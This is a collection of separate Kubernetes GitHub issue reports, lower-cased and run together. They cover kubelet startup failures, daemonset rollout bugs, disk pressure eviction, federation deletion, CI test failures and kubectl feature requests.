go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: minikube\r

hy folks \r \r after updating my server, i m not able to restart kubernetes.    master   &   nodes    \r the server was setup with   kubeadm   \r \r    \r  feb  6 10:34:25 chgvascldp99 agent: 2019-02-06 10:34:25 cet | error |  domain_forwarder.go:106 in retrytransactions  | dropped 2 transactions in this retry attempt: 2 for exceeding the retry queue size limit of 30, 0 because the workers are too busy\r feb  6 10:34:25 chgvascldp99 agent: 2019-02-06 10:34:25 cet | error |  config_poller.go:121 in collect  | unable to collect configurations from provider kubernetes: permanent failure in kubeutil: retry number exceeded\r feb  6 10:34:26 chgvascldp99 systemd: kubelet.service holdoff time over, scheduling restart.\r feb  6 10:34:26 chgvascldp99 systemd: stopped kubelet: the kubernetes node agent.\r feb  6 10:34:26 chgvascldp99 systemd: started kubelet: the kubernetes node agent.\r feb  6 10:34:26 chgvascldp99 kubelet: f0206 10:34:26.662744   27634 server.go:189  failed to load kubelet config file /var/lib/kubelet/config.yaml, error failed to read kubelet config file \ /var/lib/kubelet/config.yaml\ , error: open /var/lib/kubelet/config.yaml: no such file or directory\r feb  6 10:34:26 chgvascldp99 systemd: kubelet.service: main process exited, code=exited, status=255/n/a\r feb  6 10:34:26 chgvascldp99 systemd: unit kubelet.service entered failed state.\r feb  6 10:34:26 chgvascldp99 systemd: kubelet.service failed. \r    \r \r i've read on another issue on github someone said to run \r \r >   kubeadm init  per the setup instructions to create the required configuration.\r the third post on  this link  https://github.com/kubernetes/kubernetes/issues/66108 \r but in his cas it was after a new install .  i dont know if i've to do the same ? \r \r do you know why the config.yaml file disappeared  ? \r \r server :   3.10.0-957.5.1.el7.x86_64  \r kubectl :   major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\  goversion:\ go1.11.5\   \r kubernetes :   v1.13.3  \r \r \r sig/error_kubelet_config_file\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r rollingupdate daemonset got stucked, leaves a few pod not updated. \r \r daemonset's status are as follows:\r    yaml\r status:\r   currentnumberscheduled: 2\r   desirednumberscheduled: 2\r   numberavailable: 1\r   numbermisscheduled: 0\r   numberready: 2\r   numberunavailable: 1\r   observedgeneration: 12\r   updatednumberscheduled: 2\r    \r \r    \r name           desired   current   ready     up-to-date   available   node selector   age\r foo-daemonset   2         2         2         2            1           <none>          3d2h\r    \r \r   what you expected to happen  :\r \r all pods managed by daemonset upgrade succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. config minreadyseconds for deamonset\r 2. daemon-controller's clock time is a little slower than node. \r \r   anything else we need to know?  :\r related issue  41641 and pr  42097\r \r \r   environment  :\r the latest k8s version also has this bug\r

in the process of debugging https://github.com/kubernetes/kubernetes/issues/20096 i disabled crash loop backoff and ran a 100 pods that were crashing on my node. it looks like i ran out of space. this may just be because the kubelet was too busy restarting containers to run background gc.   my kubelet logs are full of:      i0211 17:17:04.229739   29218 kubelet.go:2300  skipping pod synchronization -  failed to start cadvisor inotify_add_watch /sys/fs/cgroup/cpuacct/1f444e28ac3bc15e328945c409fc9c4eaab6cc3fac41c107aabd2fc0f2729a3e: no space left on device  i0211 17:17:05.073544   29218 docker.go:353  docker container: /sleepy_noyce is not managed by kubelet. i0211 17:17:05.073586   29218 docker.go:353  docker container: /jolly_cori1 is not managed by kubelet. i0211 17:17:05.073596   29218 docker.go:353  docker container: /tender_mcnulty is not managed by kubelet. i0211 17:17:05.073603   29218 docker.go:353  docker container: /grave_turing is not managed by kubelet. i0211 17:17:05.073609   29218 docker.go:353  docker container: /grave_davinci is not managed by kubelet.      i'm puzzled by the pet sounding names of the containers. i'm not running any other docker stress test on the node. docker inspect shows that it is a kubernetes pod:       $ docker inspect grave_davinci         \ labels\ : {             \ io.kubernetes.container.hash\ : \ 6059dfa2\ ,             \ io.kubernetes.container.name\ : \ pod\ ,             \ io.kubernetes.container.restartcount\ : \ 0\ ,             \ io.kubernetes.container.terminationmessagepath\ : \ \ ,             \ io.kubernetes.pod.name\ : \ pinger-5nofn\ ,             \ io.kubernetes.pod.namespace\ : \ default\ ,             \ io.kubernetes.pod.terminationgraceperiod\ : \ 0\ ,             \ io.kubernetes.pod.uid\ : \ 051e4464-d05c-11e5-acac-42010af00002\          }       the only real modification to the kubelet was https://github.com/kubernetes/kubernetes/pull/20991/files diff-be35452540b93977b6dedb1d1d04670dr85

reading the ubernetes proposal and specifically with interest in scenario 4:  \ i want to be immune to any single data centre or cloud availability zone outage, so i want to spread my service across multiple such zones  and ideally even across multiple cloud providers .\   i would like to add scenario 5 to also include thinking which covers persistent volumes if these were available across both clusters  via some external storage replication mechanism . this would allow applications to retain state  subject to any asynchronous replication conditions of course  in the case of failover between sites.  akin to dr and worrying about rto/rpo.  comments for @quinton-hoole  . opening as an issue initially to discuss.  the scenario i have in mind is similar to 4, but it also includes pv/pvc which is replicated between two distant sites  for example london and new york .  i have three assumptions i am making: 1. there is something external to the clusters that is replicating storage between the locations. 2. i am putting the network fail-over out of scope, i am  also assuming that you do have service discover-ability external to the cluster. 3. there is a distributed source configuration management system which is available in all locations and makes globally available deployment yaml files and container images.  so if we had a service which was discover-able externally via a dns entry at one location where it normally ran:  service1.production.london.example.com  if there is a dr event and we need to restart the service in new york then i am going to assume for now that we could find it at a different location such as:  service1.production.ny.example.com  assuming that some of the pods for this service are using persistent storage and we want to recover the state by attaching the replicated pv and creating a corresponding pvc at the remote site, then we may need to have a copy of the list of pv's at each location as well as some api call to the control plane that is replication storage to find out what identifier the replicated storage is using for the same pv at each site.  for example, if the pvc for the london storage was backed by a pv with an identifier of 12345, then we could ask the storage replication controller what the corresponding identifer would be in ny, which could be 54321. in this case we would want to update the pod definition to attach the correct pv as part of the deployment.  thanks  chris

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-serial/2035/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:59 aug 28 16:41:30.116: timeout waiting 15m0s for pods size to be 5 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling_utils.go:284      previous issues for this test:  27397  27917

problem: there are 2 related problems: - when user deletes a federated object, corresponding objects created in underlying objects are not deleted. for ex: if user creates a federated service, we create a corresponding service in each cluster. when the federated service is deleted, these services in underlying clusters does not get deleted automatically. - when a cluster is removed from federation, objects that the federation control plane created in that cluster are not deleted. for ex: if user creates a federated service, we create a corresponding service in each cluster. when a cluster is removed from federation, the service corresponding to the federated service in that cluster does not get deleted automatically.  now that we have cascading deletion in kubernetes, we should support cascading deletion in federation as well. as in kubernetes, we will give users the option to disable it.  cc @kubernetes/sig-cluster-federation

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kubernetes, service, readiness, pods, hold, hang, connection, etc.\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6\r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube\r -   os    e.g. from /etc/os-release : macos\r -   kernel    e.g.  uname -a  :\r -   install tools  : minikube\r -   others  :\r \r \r   what happened  :\r if trying to connect to the service before its pods are ready  according to its readiness probe , the connection hangs forever, even once the pod move to a ready state. if i retry to connect after the pod is ready it works just fine. \r \r   what you expected to happen  :\r if the pod is not ready, the service should either fail  since there is no pods to take the request  or hold the connection until there is a pod and then return the response. but not just hold forever.\r \r   how to reproduce it    as minimally and precisely as possible :\r set up a nodeport service that targets one pod running a nginx hello world container and configure a readiness probe with an  initialdelayseconds   of 30 seconds.\r try to connect to the service before the 30 seconds.\r the connection is hold forever, even once the 30 seconds pass and the pod moves to a ready state.\r retry to connect after the pod is ready and it will works just fine. \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r i mount  /dev/vda  500g  as imagefs and mounted  /dev/vdb  50g  as nodefs. \r \r when the pods on this node somehow use more than 50g storage   e.g. temporary data writing to  devicemapper  for docker, or docker logs   which is actually all written to  /dev/vda , but these pods will begin to evict because of  diskpressure . there is still 450g-ish space left on  /dev/vda  and  /dev/vda  almost remains empty and it should not be a  diskpressure  at all.\r \r it seems like kubelet doesn't find that devices of imagefs and nodefs are different.\r \r \r   what you expected to happen  :\r \r kubelet don't update its status into  diskpressure  when spare space is plenty.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the client libraries in https://github.com/kubernetes-client are generated from the  openapi spec  https://github.com/kubernetes/kubernetes/blob/master/api/openapi-spec/swagger.json  that we serve in k/k. tracking  openapi v3  https://github.com/oai/openapi-specification/blob/master/versions/3.0.0.md  related issues and tooling support around openapi v3 here:\r \r - lack of  oneof  support for types that set  returndeletedobject: true  in their storage configuration: https://github.com/kubernetes/kubernetes/issues/59501\r \r as of today  3/8/2018 : \r -     swagger-codegen:  v3.0.0-rc0  https://github.com/swagger-api/swagger-codegen/releases/  only supports  java  and  inflector  languages\r -  x  swagger-validator: oas 3.0 support developed in  2.0 branch  https://github.com/swagger-api/validator-badge/tree/2.0 , release date on http://online.swagger.io/validate tbd\r -  x  swagger-parser: ~~ v2.0.0-rc3  https://github.com/swagger-api/swagger-parser/releases  still at rc phase~~ is released 4/17/2018\r \r ref: https://github.com/kubernetes/kubernetes/issues/51163

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r during my test, sometime i saw sandbox for a terminating pod can be deleted and recreated again.\r \r   what you expected to happen  :\r no sandbox recreation for a terminating pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod a. \r 2. delete pod a.\r 3. wait for pod a disappear from namespace.\r 4. create pod b with same name as pod a.\r \r   anything else we need to know?  :\r i am running cluster with istio installed. i have collected logs from kubelet and i saw  pod worker  was checking pod a's sandbox status after it's been deleted.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in some  not yet fully  unknown situation the job controller might complete the job when still having active pods. the scenario we've seen:\r \r 1.  .spec.parallelism  and  .spec.completions : 1\r 2. one pod completes   .status.succeeded : 1  and job sets a condition marking the job as completed, but still there's one active pod   .status.active : 1 , but the pod itself is gone by that time. \r \r why?\r \r i'll add more details when i get to that.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r   what happened  :r\r hello to everyone! i tried to found solution how to point on concrete  pod  from  statefulset  to concrete  node . for example,  we have 3 nodes, each node has labels node-0, node-1, node-2 and statefulset has 3 pods with labels app-0, app-1, app-2  this is just for example . my question is - how to select concrete pod from statefulset  for example with label app-0  and assign it to node with label node-0. in official and unofficial docs of kubernetes i didn't find how to solve this issue. if this functionality is not implemented yet  - it will be very great if it is implemented in next releases.\r \r   what you expected to happen  :\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r 

similar to https://k8s-testgrid.appspot.com/sig-node-ppc64le conformance we need to run tests against arm based k8s installations\r \r /cc @lubinsz @vielmetti

similar to https://k8s-testgrid.appspot.com/sig-node-ppc64le conformance we need to run tests against s390x based k8s installations\r \r /cc @shahidhs-ibm @gajju26 @alicefr @cwsolee @estesp

reboot tests have been failing since 10/12\r \r dashboard: https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-cos-master-reboot\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/18153\r \r this test failure will block 1.13 beta, so please let's fix it before then. thanks!\r \r   /

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new  in release upgrade dashboard\r \r   which test s  are failing  :\r   sig-apps  daemonrestart  disruptive  kubelet should not restart containers across restart  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1789 \r \r   since when has it been failing  :\r since 11/9.  delta changelist  https://github.com/kubernetes/kubernetes/compare/941010e53...fb1fd1cce? \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r \r   reason for failure  :\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:154\r nov 10 12:34:44.673: all nodes should be ready after test, not ready nodes: \ , bootstrap-e2e-minion-group-g61s\ \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:402\r \r   / /milestone v1.13\r /assign @kow3ns \r /cc @jberkus @mariantalla @mortent \r \r @kow3ns this test is continuously failing in release blocking upgrade tests since 11/9. cn you please take a look as  help triage. code freeze is approaching on 11/16 and its critical to get this addressed before then. thanks.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  sig-release-master-upgrade gce-new-master-upgrade-master-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master-parallel \r \r   which test s  are failing  :\r -   sig-auth  metadata concealment should run a check-metadata-concealment job to completion 15m9s  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel/821 sig-auth-metadata-concealment-should-run-a-check-metadata-concealment-job-to-completion \r \r   since when has it been failing  :\r at least since 2019-01-08\r \r   testgrid link  :\r -  gubernator  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel/821 sig-auth-metadata-concealment-should-run-a-check-metadata-concealment-job-to-completion  \r \r   reason for failure  :\r timeout\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/metadata_concealment.go:33\r expected error:\r     < errors.errorstring | 0xc4200d96b0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/metadata_concealment.go:62\r    \r

the kube proxy should expose metrics for incoming connection count, connection duration, and maybe endpoint count and endpoint failure rate  percentiles .  it should also probably slice by service.

passing a file name to  kruntime.parsedocumentationfrom    that doesn't exist causes a panic:      open pkg/api/v1/types.go: no such file or directory panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x0 pc=0x4808d1   goroutine 1  running : k8s.io/kubernetes/pkg/runtime.parsedocumentationfrom 0x7ffc343dde29, 0x13, 0x0, 0x0, 0x0      /home/stevekuznetsov/go/src/github.com/openshift/origin/godeps/_workspace/src/k8s.io/kubernetes/pkg/runtime/swagger_doc_generator.go:148 +0x691      having the tool consume an  io.reader   and pass it through to  parser./parsefile   would also be nice, to support  /dev/stdin  or other sources of input more cleanly.

it is not obvious to me at all what interfaces like these are for:   pkg/client/clientset_generated/internalclientset/typed/extensions/unversioned/generated_expansion.go   https://github.com/kubernetes/kubernetes/blob/master/pkg/client/clientset_generated/internalclientset/typed/extensions/unversioned/generated_expansion.go l8 .  can we add a comment to the template file explaining this?  cc @pweil-

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r    \r  root@bd002 wordpress   kubectl get\r you must specify the type of resource to get. valid resource types include:\r \r       clusters  valid only for federation apiservers \r       componentstatuses  aka 'cs' \r       configmaps  aka 'cm' \r       daemonsets  aka 'ds' \r       deployments  aka 'deploy' \r       endpoints  aka 'ep' \r       events  aka 'ev' \r       horizontalpodautoscalers  aka 'hpa' \r       ingresses  aka 'ing' \r       jobs\r       limitranges  aka 'limits' \r       namespaces  aka 'ns' \r       networkpolicies\r       nodes  aka 'no' \r       persistentvolumeclaims  aka 'pvc' \r       persistentvolumes  aka 'pv' \r       pods  aka 'po' \r       podsecuritypolicies  aka 'psp' \r       podtemplates\r       replicasets  aka 'rs' \r       replicationcontrollers  aka 'rc' \r       resourcequotas  aka 'quota' \r       secrets\r       serviceaccounts  aka 'sa' \r       services  aka 'svc' \r       statefulsets\r       storageclasses\r       thirdpartyresources\r     error: required resource not specified.\r use \ kubectl explain <resource>\  for a detailed description of that resource  e.g. kubectl explain pods .\r see 'kubectl get -h' for help and examples.\r    \r \r the name of  statefulsets ,  storageclasses ,  thirdpartyresources  is too long and it is not convenient to use cli to operated on those resources, and better have some short names as others.\r \r one proposal is \r \r    \r       services  aka 'svc' \r       statefulsets   aka 'ss' \r       storageclasses   aka 'sc' \r       thirdpartyresources   aka 'tpr' \r    \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

---\r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.7.alpha  pre-releases \r \r   what happened  :\r 'kubectl get' output does not have columns aligned properly. this got introduced as part of this change pr  40848 \r \r   what you expected to happen  :\r output of kubectl get should have all the columns aligned as in previous releases.\r \r   how to reproduce it    as minimally and precisely as possible :\r run 'kubectl get' with multiple rows in the output on 1.7 prereleases\r \r   anything else we need to know  :\r there is pr  47013 which fixes this.\r

due to the the symlinks in the project, especially in   vendor/  , like this: https://github.com/kubernetes/kubernetes/tree/a57c33bd2817323806b97da5c2f848108f7403d8/vendor/k8s.io any attempt to   go get k8s.io/kubernetes   results in incomplete sources being downloaded, which in turn results in more frustration with the project if you are trying to use windows for example  as it's my case .\r \r is there any reason why this is not working as expected out of the box?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r \r \r  \r \r \r   what happened  :  failed to create kubelet: misconfiguration: kubelet cgroup driver: \ cgroupfs\  is different from docker cgroup driver: \ systemd\ \r \r   what you expected to happen  : starting kubelet\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   yum install -y docker-1.12.6\r   systemctl enable docker && systemctl start docker\r   setenforce 0\r   yum install -y kubelet kubeadm\r   systemctl enable kubelet && systemctl start kubelet\r   systemctl daemon-reload\r   systemctl restart kubelet\r   kubelet log\r \r   anything else we need to know?  :\r \r configuration for  cgroup drive  is right in /etc/systemd/system/kubelet.service.d/10-kubeadm.conf\r \r > environment=\ kubelet_cgroup_args=--cgroup-driver=systemd\ \r \r i also checked the  environment  with cli\r \r > $ systemctl show --property=environment kubelet | cat\r > environment=kubelet_kubeconfig_args=--kubeconfig=/etc/kubernetes/kubelet.conf\\x20--require-kubeconfig=true kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests\\x20--allow-privileged=true kubelet_network_args=--network-plugin=cni\\x20--cni-conf-dir=/etc/cni/net.d\\x20--cni-bin-dir=/opt/cni/bin kubelet_dns_args=--cluster-dns=10.96.0.10\\x20--cluster-domain=cluster.local kubelet_authz_args=--authorization-mode=webhook\\x20--client-ca-file=/etc/kubernetes/pki/ca.crt kubelet_cadvisor_args=--cadvisor-port=0   kubelet_cgroup_args=--cgroup-driver=systemd  \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  :   4 core 16g ram \r - os  e.g. from /etc/os-release :  centos linux 7  core \r - kernel  e.g.  uname -a  : linux 10-8-108-92 3.10.0-327.22.2.el7.x86_64  1 smp thu jun 23 17:05:11 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

 \r   what happened  :\r i update coreos from 1409.7.0 to 1520.8.0 and kubernters from 1.6.1 to 1.8.1 and now i have error when \ rook-agent\  conteiners running.\r all  3  rook-agent conteiners have status runcontainererror.\r and in conteiners logs i see this:\r kubectl -n rook-system logs rook-agent-mklwd\r failed to open log file \ /var/log/pods/7a5eb042-be51-11e7-8ce2-0050569d04a3/rook-agent_1.log\ : open /var/log/pods/7a5eb042-be51-11e7-8ce2-0050569d04a3/rook-agent_1.log: no such file or directory\r \r   what you expected to happen  :\r before updating coreos \ rook-agent\  conteiners  running normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm using this manual to up my kubernetes cluster on bare-metal coreos:\r https://coreos.com/kubernetes/docs/1.6.1/deploy-master.html\r and i'm using this manual to start ceph cluster  rook :\r https://github.com/rook/rook/blob/master/documentation/kubernetes.md\r i have configure key \ --volume-plugin-dir=/var/lib/kubelet/volumeplugins\  in kubelet-wrapper keys and create folder /var/lib/kubelet/volumeplugins but this not take any changes.\r \r   anything else we need to know?  :\r i'm created issue on rook:\r https://github.com/rook/rook/issues/1162 issuecomment-340893945\r but i think this problem caused by the update coreos and not related to the rook\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : coreos 1520.8.0\r - kernel  e.g.  uname -a  :  linux wd-staging-01 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v3 @ 2.30ghz genuineintel gnu/linux\r - install tools: no\r - others: no\r \r i can provide any data to solve this problem if necessary.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r according the  documentation  https://kubernetes.io/docs/admin/extensible-admission-controllers/ how-are-initializers-triggered , initializer controllers should only initialize the object once its name is at  metadata.initializers.pending 0  . currently  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/pvlcontroller.go l268 , the pvl controller just checks if its name is in the list at all and ignores ordering. \r \r   what you expected to happen  :\r \r the pvl controller should initialize the pv only when its name is next in the pending list. \r \r  /area cloudprovider\r \r cc @wlan0 \r \r xref  48690

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r tried to create a resource from yaml via stdin, got no-op error\r    \r error from server  notfound : the server could not find the requested resource\r    \r \r   what you expected to happen  :\r expected resource to be created\r \r   how to reproduce it  as minimally and precisely as possible   :\r use 1.9.0 kubectl against a 1.6.2 kube server. this command doesn't do anything, but shows the failure mode / difference between the two versions.\r    \r echo '---' | kubectl create -f -\r    \r \r   anything else we need to know?  :\r works fine with kubectl 1.8.4 against same server - throws error and falls back appropriately\r    \r failed to download openapi  the server could not find the requested resource , falling back to swagger\r    \r \r error message for 1.9.0 is\r    \r get https://api.$my.$k8s.$server/swagger-2.0.0.pb-v1 404 not found in 424 milliseconds\r    \r with a bunch of extra stuff, and\r    \r i1227 12:09:00.519012   95554 helpers.go:201  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server could not find the requested resource\ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r     \ causes\ :  \r       {\r         \ reason\ : \ unexpectedserverresponse\ ,\r         \ message\ : \ unknown\ \r       }\r      \r   },\r   \ code\ : 404\r } \r f1227 12:09:00.519048   95554 helpers.go:119  error from server  notfound : the server could not find the requested resource\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:15:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws via  kops \r - os  e.g. from /etc/os-release :\r osx\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area kubectl

e2e tests are becoming a rats nest, all in one huge package. start by this trivial refactoring to prevent the situation from getting worse.

i'm trying to create a kube-controller-manager pod according to the template   https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/scratch.md controller-manager-template . i found if hostnetwork=true, with/without host specified localhost on livenessprobe, the pod is always in containercreating status and logs \ specified host networking, but is disallowed\ . if i set \ hostnetwork\  to false and didn't specify host, the pod is keeping restart. then i added \ host\  : \ 127.0.0.1\ , the pod is running and health check 10252. so should be \ hostnetwork\ : false meanwhile \ host\  : \ 127.0.0.1\ ?        cat kube-controller-manager.json {   \ kind\ : \ pod\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ kube-controller-manager\    },   \ spec\ : {     \ hostnetwork\ : true,     \ containers\ :         {         \ name\ : \ kube-controller-manager\ ,         \ image\ : \ gcr.io/google_containers/hyperkube:v1.0.3\ ,         \ command\ :             \ /hyperkube\ ,           \ controller-manager\           ,         \ volumemounts\ :             {             \ name\ : \ srvkube\ ,             \ mountpath\ : \ /srv/kubernetes\ ,             \ readonly\ : true           },           {             \ name\ : \ etcssl\ ,             \ mountpath\ : \ /etc/ssl\ ,             \ readonly\ : true           }          ,         \ livenessprobe\ : {           \ httpget\ : {             \ host\ : \ 127.0.0.1\ ,             \ path\ : \ /healthz\ ,             \ port\ : 10252           },           \ initialdelayseconds\ : 15,           \ timeoutseconds\ : 15         }       }      ,     \ volumes\ :         {         \ name\ : \ srvkube\ ,         \ hostpath\ : {           \ path\ : \ /srv/kubernetes\          }       },       {         \ name\ : \ etcssl\ ,         \ hostpath\ : {           \ path\ : \ /etc/ssl\          }       }         } }    ./kubectl get pod name                        ready     status              restarts   age kube-controller-manager     0/1       containercreating   0          5m    ./kubectl describe pod kube-controller-manager name:               kube-controller-manager namespace:          default image s :           gcr.io/google_containers/hyperkube:v1.0.3 node:               127.0.0.1/127.0.0.1 start time:         fri, 18 sep 2015 07:14:37 +0000 labels:             <none> status:             pending reason:              message:             ip:             127.0.0.1 replication controllers:    <none> containers:   kube-controller-manager:     container id:        image:      gcr.io/google_containers/hyperkube:v1.0.3     image id:            state:      waiting       reason:       containercreating     ready:      false     restart count:  0     environment variables: conditions:   type      status   ready     false  volumes:   srvkube:     type:   hostpath  bare host 